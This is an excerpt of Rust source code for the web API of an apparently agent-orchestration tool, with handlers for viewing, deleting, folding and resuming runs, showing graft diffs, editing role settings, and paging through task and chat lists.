4078 };
4079 Some(SourceLink {
4080 kind,
4081 id: run.clone(),
4082 href: id_links::page_href(route, run),
4083 })
4084}
4085
4086#[derive(Debug, Serialize, PartialEq)]
4088struct FollowUpParent {
4089 id: String,
4090 short: String,
4091 title: String,
4092 status: &'static str,
4094 href: String,
4095}
4096
4097#[derive(Debug, Serialize, PartialEq)]
4099struct FollowUpRun {
4100 id: String,
4101 short: String,
4102 status: Option<&'static str>,
4104 href: Option<String>,
4106}
4107
4108#[derive(Debug, Serialize, PartialEq)]
4111struct FollowUpOrigin {
4112 parent: Option<FollowUpParent>,
4114 run: FollowUpRun,
4115 pr: String,
4120 findings: Vec<String>,
4121 generation: u32,
4122}
4123
4124fn followup_origin(
4127 fu: &crate::queue::FollowUp,
4128 task: impl Fn(&str) -> Option<Task>,
4129 run: impl Fn(&str) -> Option<RunState>,
4130) -> FollowUpOrigin {
4131 let parent = fu
4132 .origin_task
4133 .as_deref()
4134 .and_then(task)
4135 .map(|t| FollowUpParent {
4136 short: t.short().to_owned(),
4137 href: format!("#/tasks/{}", encode_segment(&t.id)),
4138 status: t.status.as_str(),
4139 title: t.title,
4140 id: t.id,
4141 });
4142 let state = run(&fu.run);
4143 FollowUpOrigin {
4144 parent,
4145 run: FollowUpRun {
4146 short: run::short_of(&fu.run).to_owned(),
4147 status: state.as_ref().map(|s| s.status.as_str()),
4148 href: state
4149 .is_some()
4150 .then(|| format!("#/runs/{}", encode_segment(&fu.run))),
4151 id: fu.run.clone(),
4152 },
4153 pr: fu.pr.clone(),
4154 findings: fu.findings.clone(),
4155 generation: fu.generation,
4156 }
4157}
4158
4159#[derive(Debug, Serialize)]
4161struct RunBrief {
4162 id: String,
4163 short: String,
4164 status: Option<&'static str>,
4166 outcome: String,
4168 badge: Option<String>,
4170}
4171
4172fn task_outcome(
4175 task: &Task,
4176 this_run: &str,
4177 max_attempts: usize,
4178 read: impl Fn(&str) -> Option<RunState>,
4179) -> TaskRef {
4180 let max_attempts = task.effective_attempt_limit(max_attempts);
4181 let history = task_history(task, read);
4182 let brief = |h: &TaskRunView| RunBrief {
4183 id: h.id.clone(),
4184 short: h.short.clone(),
4185 status: h.status,
4186 outcome: h.exit.edge_label(h.status),
4187 badge: h.badge.clone(),
4188 };
4189 let is_latest = task.runs.last().is_none_or(|r| r == this_run);
4190 let latest = if is_latest {
4191 None
4192 } else {
4193 history.last().map(brief)
4194 };
4195 let done = task.status == TaskStatus::Done;
4196 let finished_by = done
4197 .then(|| {
4198 history
4199 .iter()
4200 .rev()
4201 .find(|h| {
4202 matches!(
4203 h.exit,
4204 RunExit::Merged | RunExit::Ready | RunExit::AlreadyInBase
4205 )
4206 })
4207 .map(brief)
4208 })
4209 .flatten();
4210 TaskRef {
4211 short: task.short().to_owned(),
4212 title: task.title.clone(),
4213 id: task.id.clone(),
4214 source_label: task.source.label(),
4215 source_link: source_link(&task.source),
4216 status: task.status.as_str(),
4217 attempts: task.attempts,
4218 max_attempts,
4219 is_latest,
4220 latest,
4221 closed_by_hand: done && finished_by.is_none(),
4222 finished_by,
4223 }
4224}
4225
4226#[derive(Debug, Serialize)]
4228struct LatestAttempt {
4229 id: String,
4230 short: String,
4231 resolved: bool,
4242 status: RunStatus,
4245 done: bool,
4247}
4248
4249#[derive(Debug, Default, Serialize)]
4251struct RunProseMd {
4252 advice_md: Option<AdviceMd>,
4254 candidate_summaries_md: Vec<Vec<md::Node>>,
4256 reviews_md: Vec<RoundMd>,
4258}
4259
4260#[derive(Debug, Default, Serialize)]
4261struct AdviceMd {
4262 synthesis: Vec<md::Node>,
4263 approaches: Vec<Vec<md::Node>>,
4265}
4266
4267#[derive(Debug, Default, Serialize)]
4268struct RoundMd {
4269 reviewers: Vec<ReviewerMd>,
4271 reconsideration: Vec<Vec<md::Node>>,
4273 fix: Option<FixMd>,
4274}
4275
4276#[derive(Debug, Default, Serialize)]
4277struct ReviewerMd {
4278 summary: Vec<md::Node>,
4279 findings: Vec<Vec<md::Node>>,
4281}
4282
4283#[derive(Debug, Default, Serialize)]
4284struct FixMd {
4285 notes: Vec<md::Node>,
4286 rejected: Vec<Vec<md::Node>>,
4288}
4289
4290fn run_prose_md(state: &RunState) -> RunProseMd {
4292 let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4293 RunProseMd {
4294 advice_md: state.advice.as_ref().map(|a| AdviceMd {
4295 synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4296 approaches: a
4297 .records
4298 .iter()
4299 .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4300 .collect(),
4301 }),
4302 candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4303 reviews_md: state
4304 .reviews
4305 .iter()
4306 .map(|round| RoundMd {
4307 reviewers: round
4308 .reviews
4309 .iter()
4310 .map(|rec| ReviewerMd {
4311 summary: nodes(&rec.summary),
4312 findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4313 })
4314 .collect(),
4315 reconsideration: round
4316 .reconsideration
4317 .iter()
4318 .map(|rv| nodes(&rv.reason))
4319 .collect(),
4320 fix: round.fix.as_ref().map(|fix| FixMd {
4321 notes: nodes(&fix.notes),
4322 rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4323 }),
4324 })
4325 .collect(),
4326 }
4327}
4328
4329impl RunDetailView {
4330 fn of(
4331 state: RunState,
4332 waiting: bool,
4333 live: crate::run::Liveness,
4334 superseded_by: Option<String>,
4335 latest_attempt: Option<LatestAttempt>,
4336 task: Option<TaskRef>,
4337 ) -> Self {
4338 let display_status = run_display_status(&state, waiting, live);
4339 let stop_reason = crate::stop_reason::of(
4340 &state,
4341 latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4342 );
4343 let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4344 Self {
4345 stop_reason,
4346 pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4347 instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4348 prose_md: run_prose_md(&state),
4349 origin_label: crate::run::origin_label(state.origin.as_ref()),
4350 live,
4351 unmerged_by_design: state.unmerged_by_design(),
4352 waiting,
4353 display_status,
4354 badge_status,
4355 done: state.status.done(),
4356 superseded_by,
4357 latest_attempt,
4358 task,
4359 state,
4360 }
4361 }
4362}
4363
4364async fn run_core(
4366 State(ui): State<Arc<Ui>>,
4367 Path(id): Path<String>,
4368) -> ApiResult<Json<RunDetailView>> {
4369 blocking(move || {
4370 let id = resolve_run(&ui.runs, &id)?;
4371 let state = read_run(&ui.runs, &id)?;
4372 Ok(Json(RunDetailView::of(
4373 state,
4374 false,
4375 crate::run::Liveness::Unknown,
4376 None,
4377 None,
4378 None,
4379 )))
4380 })
4381 .await
4382}
4383
4384async fn run_detail(
4385 State(ui): State<Arc<Ui>>,
4386 Path(id): Path<String>,
4387) -> ApiResult<Json<RunDetailView>> {
4388 blocking(move || {
4389 let id = resolve_run(&ui.runs, &id)?;
4390 let state = read_run(&ui.runs, &id)?;
4391 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4392 let live = state.liveness(daemon_claims);
4393 crate::queue::record_ids(ui.questions.root(), "json")?;
4394 let waiting = ui
4395 .questions
4396 .list()
4397 .iter()
4398 .any(|q| q.run == id && q.status.open());
4399 let max_attempts = daemon::Opts::default().max_attempts;
4400
4401 let matching_task = ui.find_task_for_run(&id)?;
4402
4403 let superseded_by = state
4404 .pr_taken_over_by
4405 .clone()
4406 .or_else(|| {
4407 matching_task
4408 .as_ref()
4409 .and_then(|t| t.successor_of(&id).cloned())
4410 })
4411 .as_deref()
4412 .map(crate::run::short_of)
4413 .map(str::to_owned);
4414
4415 let latest_attempt = matching_task
4419 .as_ref()
4420 .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4421 .and_then(|head_id| {
4422 read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4423 short: head.short().to_owned(),
4424 resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4425 status: head.status,
4426 done: head.status.done(),
4427 id: head.id,
4428 })
4429 });
4430
4431 let task = matching_task
4432 .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4433
4434 Ok(Json(RunDetailView::of(
4435 state,
4436 waiting,
4437 live,
4438 superseded_by,
4439 latest_attempt,
4440 task,
4441 )))
4442 })
4443 .await
4444}
4445
4446async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4455 let (id, unreadable) = {
4456 let ui = Arc::clone(&ui);
4457 blocking(move || {
4458 let id = resolve_run(&ui.runs, &id)?;
4459 match read_run(&ui.runs, &id) {
4460 Ok(state) => {
4461 let in_flight =
4462 crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4463 state
4464 .ensure_can_delete(in_flight)
4465 .map_err(|e| ApiError::conflict(format!("{e:#}")))?;
4466 let dir = ui.runs.join(&id);
4467 std::fs::remove_dir_all(&dir)
4468 .with_context(|| format!("remove run directory {}", dir.display()))?;
4469 Ok((id, false))
4470 }
4471 Err(_) => {
4472 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4476 return Err(ApiError::conflict(format!(
4477 "run {id} is being worked on by a live daemon right now"
4478 )));
4479 }
4480 Ok((id, true))
4481 }
4482 }
4483 })
4484 .await?
4485 };
4486 if unreadable {
4487 crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4488 .await
4489 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4490 }
4491 let ui = Arc::clone(&ui);
4492 let done = id.clone();
4493 blocking(move || {
4494 ui.questions.abandon_for_run(
4497 &done,
4498 &format!("run {done} was deleted, so nothing is waiting for this answer"),
4499 )?;
4500 Ok(())
4501 })
4502 .await?;
4503 Ok(StatusCode::NO_CONTENT)
4504}
4505
4506async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4530 let (id, state) = {
4531 let ui = Arc::clone(&ui);
4532 blocking(move || {
4533 let id = resolve_run(&ui.runs, &id)?;
4534 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4535 return Err(ApiError::conflict(format!(
4536 "run {id} is being worked on by a live daemon right now"
4537 )));
4538 }
4539 let state = read_run(&ui.runs, &id).ok();
4540 Ok((id, state))
4541 })
4542 .await?
4543 };
4544 let removed = match state {
4545 Some(mut state) => {
4546 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4547 .await
4548 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4549 if removed.is_empty() {
4554 crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4555 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4556 }
4557 removed
4558 }
4559 None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4560 .await
4561 .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4562 };
4563 Ok(Json(FoldView {
4564 run: id,
4565 removed_count: removed.len(),
4566 removed,
4567 }))
4568}
4569
4570#[derive(Debug, Serialize)]
4572struct FoldView {
4573 run: String,
4574 removed: Vec<String>,
4576 removed_count: usize,
4577}
4578
4579#[derive(Debug, Deserialize)]
4582struct FoldMergedBody {
4583 #[serde(default)]
4584 pr_url: String,
4585}
4586
4587async fn run_fold_merged(
4607 State(ui): State<Arc<Ui>>,
4608 Path(id): Path<String>,
4609 Json(body): Json<FoldMergedBody>,
4610) -> ApiResult<Json<FoldMergedView>> {
4611 let pr_url = body.pr_url.trim().to_owned();
4612 if pr_url.is_empty() {
4613 return Err(ApiError::bad_request("pr_url is required"));
4614 }
4615 let (id, mut state) = {
4616 let ui = Arc::clone(&ui);
4617 blocking(move || {
4618 let id = resolve_run(&ui.runs, &id)?;
4619 if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4620 return Err(ApiError::conflict(format!(
4621 "run {id} is being worked on by a live daemon right now"
4622 )));
4623 }
4624 let state = read_run(&ui.runs, &id)?;
4625 Ok((id, state))
4626 })
4627 .await?
4628 };
4629 let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4630 .await
4631 .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4632 let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4633 .await
4634 .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4635 Ok(Json(FoldMergedView {
4636 run: id,
4637 before: before.as_str().to_owned(),
4638 after: after.as_str().to_owned(),
4639 removed,
4640 }))
4641}
4642
4643#[derive(Debug, Serialize)]
4645struct FoldMergedView {
4646 run: String,
4647 before: String,
4649 after: String,
4651 removed: Vec<String>,
4653}
4654
4655async fn run_resume(
4675 State(ui): State<Arc<Ui>>,
4676 Path(id): Path<String>,
4677) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4678 let admission = ui.begin_admission()?;
4679 admitted(admission, async move {
4680 let (id, state) = {
4681 let ui = Arc::clone(&ui);
4682 blocking(move || {
4683 let id = resolve_run(&ui.runs, &id)?;
4684 let state = read_run(&ui.runs, &id)?;
4685 Ok((id, state))
4686 })
4687 .await?
4688 };
4689 crate::resume::validate_unqueued(&ui.home, &id)
4690 .map_err(|e| ApiError::conflict(e.to_string()))?;
4691 let _resume = ui.begin_resume(&id)?;
4692
4693 crate::resume::start(&ui.home, id.clone())
4694 .await
4695 .map_err(ApiError::from)?;
4696 let queued = RunSummary::of(
4699 &state,
4700 !ui.questions.open_for(&id).is_empty(),
4701 state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4702 );
4703 Ok((StatusCode::ACCEPTED, Json(queued)))
4704 })
4705 .await
4706}
4707
4708async fn run_report(
4709 State(ui): State<Arc<Ui>>,
4710 Path(id): Path<String>,
4711) -> ApiResult<impl IntoResponse> {
4712 let text = blocking(move || {
4713 let id = resolve_run(&ui.runs, &id)?;
4714 let state = read_run(&ui.runs, &id)?;
4718 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4719 let live = state.liveness(daemon_claims);
4720 Ok(format!(
4721 "{}{}",
4722 report::run(&state),
4723 report::active_seats(&state, live)
4724 ))
4725 })
4726 .await?;
4727 Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4728}
4729
4730async fn run_report_json(
4734 State(ui): State<Arc<Ui>>,
4735 Path(id): Path<String>,
4736) -> ApiResult<Json<crate::report_view::RunReportView>> {
4737 let view = blocking(move || {
4738 let id = resolve_run(&ui.runs, &id)?;
4739 let state = read_run(&ui.runs, &id)?;
4740 let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4741 let recovered = state.graft.as_ref().map(|_| {
4743 crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
4744 });
4745 Ok(crate::report_view::build_with(
4746 &state,
4747 state.liveness(daemon_claims),
4748 recovered.as_ref(),
4749 ))
4750 })
4751 .await?;
4752 Ok(Json(view))
4753}
4754
4755const GRAFT_DIFF_MAX: usize = 400 * 1024;
4757const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
4759
4760async fn run_graft_diff(
4763 State(ui): State<Arc<Ui>>,
4764 Path(id): Path<String>,
4765) -> ApiResult<impl IntoResponse> {
4766 let (repo, pre, post) = blocking(move || {
4767 let id = resolve_run(&ui.runs, &id)?;
4768 let state = read_run(&ui.runs, &id)?;
4769 let g = state
4770 .graft
4771 .as_ref()
4772 .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
4773 let post = g
4774 .post
4775 .clone()
4776 .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
4777 Ok((state.repo.clone(), g.pre.clone(), post))
4778 })
4779 .await?;
4780 let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
4781 if !hex(&pre) || !hex(&post) {
4782 return Err(ApiError::not_found("the recorded commits are not valid"));
4783 }
4784 let out = tokio::time::timeout(
4785 GRAFT_DIFF_TIMEOUT,
4786 crate::git::git_raw(
4787 &repo,
4788 &[
4789 "diff",
4790 "--no-color",
4791 "--no-ext-diff",
4792 "-M",
4793 &pre,
4794 &post,
4795 "--",
4796 ],
4797 ),
4798 )
4799 .await
4800 .map_err(|_| ApiError::not_found("git diff timed out"))?
4801 .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
4802 if out.code != Some(0) {
4803 return Err(ApiError::not_found(
4804 "the recorded commits are no longer in the repository",
4805 ));
4806 }
4807 let mut body = out.stdout;
4808 if body.len() > GRAFT_DIFF_MAX {
4809 let mut cut = GRAFT_DIFF_MAX;
4810 while !body.is_char_boundary(cut) {
4811 cut -= 1;
4812 }
4813 body.truncate(cut);
4814 body.push_str("\n... diff truncated ...");
4815 }
4816 Ok((
4817 [
4818 (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
4819 (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
4820 ],
4821 body,
4822 ))
4823}
4824
4825#[derive(Debug, Serialize)]
4831struct TaskView {
4832 #[serde(flatten)]
4833 task: Task,
4834 source_label: String,
4835 source_link: Option<SourceLink>,
4836 status_str: &'static str,
4837 instruction_md: Vec<md::Node>,
4841 waits_on: Vec<String>,
4845 stuck_roots: Vec<String>,
4848}
4849
4850impl From<Task> for TaskView {
4851 fn from(task: Task) -> Self {
4852 Self {
4853 source_label: task.source.label(),
4854 source_link: source_link(&task.source),
4855 status_str: task.status.as_str(),
4856 instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
4857 waits_on: Vec::new(),
4858 stuck_roots: Vec::new(),
4859 task,
4860 }
4861 }
4862}
4863
4864impl TaskView {
4865 fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
4866 let waits_on = inv.waits_on(&task);
4867 let stuck_roots = inv
4868 .stuck_roots(&task)
4869 .iter()
4870 .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
4871 .collect();
4872 Self {
4873 waits_on,
4874 stuck_roots,
4875 ..Self::from(task)
4876 }
4877 }
4878}
4879
4880#[derive(Debug, Default, Deserialize)]
4883#[serde(default)]
4884struct ReposQuery {
4885 refresh: u8,
4886}
4887
4888async fn repos_list(
4895 State(ui): State<Arc<Ui>>,
4896 Query(q): Query<ReposQuery>,
4897) -> ApiResult<Json<Vec<repos::Repo>>> {
4898 let refresh = q.refresh != 0;
4899 blocking(move || {
4900 let (cfg, _) = Config::discover(&ui.repo, None)?;
4901 Ok(Json(ui.repos_cache.list(
4902 &cfg.repos.roots,
4903 Duration::from_secs(cfg.repos.scan_ttl),
4904 refresh,
4905 )))
4906 })
4907 .await
4908}
4909
4910#[derive(Debug, Default, Deserialize)]
4912struct SettingsQuery {
4913 repo: Option<PathBuf>,
4914}
4915
4916fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
4920 let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
4921 let paths: Vec<PathBuf> = ui
4922 .machine_config
4923 .iter()
4924 .filter(|p| p.is_file())
4925 .cloned()
4926 .collect();
4927 if paths.is_empty() {
4928 Ok(Config::autodetected())
4929 } else {
4930 Config::load_layers(&paths)
4931 }
4932 });
4933 let mut known = cfg
4934 .map(|cfg| {
4935 ui.repos_cache.list(
4936 &cfg.repos.roots,
4937 Duration::from_secs(cfg.repos.scan_ttl),
4938 refresh,
4939 )
4940 })
4941 .unwrap_or_default();
4942 let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
4943 if !known.iter().any(|r| r.path == path) {
4944 known.push(repos::Repo {
4945 name: path
4946 .file_name()
4947 .unwrap_or_default()
4948 .to_string_lossy()
4949 .into_owned(),
4950 path,
4951 });
4952 }
4953 known
4954}
4955
4956fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
4957 let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
4958 let canonical = requested.canonicalize().ok();
4959 let mut known = settings_repositories(ui, false);
4960 let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
4961 if !known.iter().any(matches) {
4962 known = settings_repositories(ui, true);
4963 }
4964 let repo = known
4965 .iter()
4966 .find(|r| matches(r))
4967 .map(|r| r.path.clone())
4968 .ok_or_else(|| ApiError {
4969 text_reason: None,
4970 status: StatusCode::UNPROCESSABLE_ENTITY,
4971 message: "Choose a known repository from the Settings selector.".to_owned(),
4972 })?;
4973 Ok((repo, known))
4974}
4975
4976async fn settings_get(
4980 State(ui): State<Arc<Ui>>,
4981 Query(q): Query<SettingsQuery>,
4982) -> ApiResult<Json<settings::SettingsView>> {
4983 blocking(move || {
4984 let (repo, known) = settings_context(&ui, q)?;
4985 Ok(Json(settings::view_with_repos(
4986 &repo,
4987 ui.machine_config.as_deref(),
4988 &known,
4989 )))
4990 })
4991 .await
4992}
4993
4994#[derive(Debug, Deserialize)]
4996#[serde(deny_unknown_fields)]
4997struct RolesBody {
4998 revision: String,
5000 #[serde(default)]
5002 roles: std::collections::BTreeMap<String, Vec<String>>,
5003 #[serde(default)]
5007 counts: std::collections::BTreeMap<String, serde_json::Value>,
5008}
5009
5010async fn settings_put_roles(
5016 State(ui): State<Arc<Ui>>,
5017 Query(q): Query<SettingsQuery>,
5018 body: std::result::Result<Json<RolesBody>, JsonRejection>,
5019) -> ApiResult<Json<settings::SettingsView>> {
5020 let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
5021 blocking(move || {
5022 let (repo, known) = settings_context(&ui, q)?;
5023 settings::save_with_repos(
5024 &repo,
5025 ui.machine_config.as_deref(),
5026 &body.revision,
5027 &body.roles,
5028 &body.counts,
5029 &known,
5030 )
5031 .map(Json)
5032 .map_err(|e| match e {
5033 settings::SaveError::Conflict(m) => ApiError::conflict(m),
5034 settings::SaveError::Refused(m) => ApiError {
5035 text_reason: None,
5036 status: StatusCode::UNPROCESSABLE_ENTITY,
5037 message: m,
5038 },
5039 settings::SaveError::Internal(m) => ApiError::internal(m),
5040 })
5041 })
5042 .await
5043}
5044
5045async fn queue_list(
5046 State(ui): State<Arc<Ui>>,
5047 Query(q): Query<ListQuery>,
5048) -> ApiResult<Json<Vec<TaskView>>> {
5049 blocking(move || {
5050 let tasks = ui.queue.list();
5051 let inv =
5052 crate::blockers::Inventory::load_with_tasks(&ui.queue, &ui.questions, tasks.clone());
5053 Ok(Json(
5054 tasks
5055 .into_iter()
5056 .filter(|t| q.contains(&t.id) || t.status == crate::queue::TaskStatus::Blocked)
5057 .map(|t| TaskView::with_inventory(t, &inv))
5058 .collect(),
5059 ))
5060 })
5061 .await
5062}
5063
5064#[derive(Debug, Default, Deserialize)]
5069struct PageQuery {
5070 before: Option<String>,
5071}
5072
5073#[derive(Serialize)]
5074struct StorePage<T> {
5075 rows: Vec<T>,
5076 next: Option<String>,
5077}
5078
5079const STORE_PAGE_SIZE: usize = 16;
5080
5081#[derive(Debug)]
5085struct ListWalk {
5086 token: u64,
5087 talks: bool,
5088 opened: std::time::Instant,
5089 ids: Arc<Vec<String>>,
5090}
5091
5092fn page_ids(ui: &Ui, talks: bool, q: PageQuery) -> ApiResult<(Vec<String>, Option<String>)> {
5093 let mut walks = ui
5094 .monitor
5095 .list_walks
5096 .lock()
5097 .unwrap_or_else(PoisonError::into_inner);
5098 walks.retain(|walk| walk.opened.elapsed() < Duration::from_secs(120));
5099 let (token, ids, offset) = if let Some(cursor) = q.before {
5100 let (token, offset) = cursor
5101 .split_once(':')
5102 .ok_or_else(|| ApiError::bad_request("Invalid list cursor"))?;
5103 let token = token
5104 .parse::<u64>()
5105 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5106 let offset = offset
5107 .parse::<usize>()
5108 .map_err(|_| ApiError::bad_request("Invalid list cursor"))?;
5109 let walk = walks
5110 .iter()
5111 .find(|walk| walk.token == token && walk.talks == talks)
5112 .ok_or_else(|| ApiError::conflict("List cursor expired; retry the list"))?;
5113 (token, walk.ids.clone(), offset)
5114 } else {
5115 let root = if talks {
5116 ui.talks.root()
5117 } else {
5118 ui.queue.root()
5119 };
5120 let mut ids = crate::queue::record_ids(root, "json")?;
5121 ids.sort_unstable_by(|a, b| b.cmp(a));
5122 let ids = Arc::new(ids);
5123 let mut token = crate::rng::entropy();
5124 while walks.iter().any(|walk| walk.token == token) {
5125 token = crate::rng::entropy();
5126 }
5127 if walks.len() >= 16 {
5130 walks.remove(0);
5131 }
5132 walks.push(ListWalk {
5133 token,
5134 talks,
5135 opened: std::time::Instant::now(),
5136 ids: ids.clone(),
5137 });
5138 (token, ids, 0)
5139 };
5140 if offset > ids.len() {
5141 return Err(ApiError::bad_request("Invalid list cursor"));
5142 }
5143 let end = offset.saturating_add(STORE_PAGE_SIZE).min(ids.len());
5144 let next = (end < ids.len()).then(|| format!("{token}:{end}"));
5145 Ok((ids[offset..end].to_vec(), next))
5146}
5147
5148async fn queue_page(
5149 State(ui): State<Arc<Ui>>,
5150 Query(q): Query<PageQuery>,
5151) -> ApiResult<Json<StorePage<TaskView>>> {
5152 blocking(move || {
5153 let (ids, next) = page_ids(&ui, false, q)?;
5154 let tasks: Vec<_> = ids
5155 .into_iter()
5156 .filter_map(|id| ui.queue.get(&id).ok())
5157 .collect();
5158 let inv = crate::blockers::Inventory::load_for_tasks(&ui.queue, &ui.questions, &tasks);
5159 let rows = tasks
5160 .into_iter()
5161 .map(|task| TaskView::with_inventory(task, &inv))
5162 .collect();
5163 Ok(Json(StorePage { rows, next }))
5164 })
5165 .await
5166}
5167
5168#[derive(Debug, Clone, Serialize)]
5171struct TalkListView {
5172 title: Option<talk::ChatTitle>,
5173 id: String,
5174 repo: PathBuf,
5175 agent: String,
5176 status: talk::TalkStatus,
5177 turns: Vec<TalkListTurn>,
5178 turn_count: usize,
5179 unread_count: usize,
5180 context: talk::ContextUsage,
5181 #[serde(skip)]
5182 agent_times: Vec<Timestamp>,
5183 thinking: bool,
5184 created_at: Timestamp,
5185 updated_at: Timestamp,
5186}
5187
5188#[derive(Debug, Clone, Serialize)]
5189struct TalkListTurn {
5190 who: talk::Who,
5191 at: Timestamp,
5192 body: String,
5193}
5194
5195fn talk_rows(ui: &Ui, ids: Vec<String>, headers: &header::HeaderMap) -> Vec<TalkListView> {
5196 let reads: HashMap<String, Timestamp> = headers
5197 .get("x-talk-reads")
5198 .and_then(|v| v.to_str().ok())
5199 .and_then(|v| serde_json::from_str(v).ok())
5200 .unwrap_or_default();
5201 let mut index = ui
5202 .monitor
5203 .talk_index
5204 .lock()
5205 .unwrap_or_else(PoisonError::into_inner);
5206 if index.len() > 1000 {
5208 index.clear();
5209 }
5210 ids.into_iter()
5211 .filter_map(|id| {
5212 let identity = file_identity(&ui.talks.path_of(&id)).ok()?;
5213 if index.get(&id).is_none_or(|(old, _)| *old != identity) {
5214 let talk = ui.talks.get(&id).ok()?;
5215 #[cfg(test)]
5216 ui.monitor
5217 .talk_parses
5218 .fetch_add(1, std::sync::atomic::Ordering::Relaxed);
5219 let first = talk.turns.iter().position(|t| t.who == talk::Who::Operator);
5220 let last = talk.turns.len().checked_sub(1);
5221 let turns = talk
5222 .turns
5223 .iter()
5224 .enumerate()
5225 .filter(|(i, _)| Some(*i) == first || Some(*i) == last)
5226 .map(|(_, t)| TalkListTurn {
5227 who: t.who,
5228 at: t.at,
5229 body: t
5230 .body
5231 .lines()
5232 .next()
5233 .unwrap_or_default()
5234 .chars()
5235 .take(240)
5236 .collect(),
5237 })
5238 .collect();
5239 let row = TalkListView {
5240 title: talk.title.clone(),
5241 agent_times: talk
5242 .turns
5243 .iter()
5244 .filter(|t| t.who == talk::Who::Agent)
5245 .map(|t| t.at)
5246 .collect(),
5247 turn_count: talk.turns.len(),
5248 unread_count: 0,
5249 context: talk::context_usage(&talk, None),
5250 turns,
5251 thinking: false,
5252 id: talk.id,
5253 repo: talk.repo,
5254 agent: talk.agent,
5255 status: talk.status,
5256 created_at: talk.created_at,
5257 updated_at: talk.updated_at,
5258 };
5259 index.insert(id.clone(), (identity, row));
5260 }
5261 let row = &index.get(&id)?.1;
5262 let mut row = TalkListView {
5263 title: row.title.clone(),
5264 unread_count: row
5265 .agent_times
5266 .iter()
5267 .filter(|at| reads.get(&id).is_none_or(|read| *at > read))
5268 .count(),
5269 agent_times: Vec::new(),
5270 id: row.id.clone(),
5271 repo: row.repo.clone(),
5272 agent: row.agent.clone(),
5273 status: row.status,
5274 context: row.context.clone(),
5275 turns: row.turns.clone(),
5276 turn_count: row.turn_count,
5277 thinking: false,
5278 created_at: row.created_at,
5279 updated_at: row.updated_at,
5280 };
5281 row.thinking = ui.is_thinking(&id);
5282 Some(row)
5283 })
5284 .collect()
5285}
5286
5287async fn talks_page(
5288 State(ui): State<Arc<Ui>>,
5289 Query(q): Query<PageQuery>,
5290 headers: header::HeaderMap,
5291) -> ApiResult<Json<StorePage<TalkListView>>> {
5292 bulk_blocking(ui.monitor.bulk_slots.clone(), move || {
5293 let (ids, next) = page_ids(&ui, true, q)?;
5294 Ok(Json(StorePage {
5295 rows: talk_rows(&ui, ids, &headers),
5296 next,
5297 }))
5298 })
5299 .await
5300}
5301
5302async fn stats_queue(State(ui): State<Arc<Ui>>) -> ApiResult<Json<TaskCountsView>> {
5303 blocking(move || {
5304 let tasks = ui.indexed_tasks()?;
5305 Ok(Json(TaskCountsView::from(
5306 crate::queue::TaskCounts::of_statuses(tasks.iter().filter_map(|task| task.status)),
5307 )))
5308 })
5309 .await
5310}
5311
5312const SEARCH_MAX_HITS: usize = 100;
5314const SEARCH_MAX_QUERY: usize = 200;
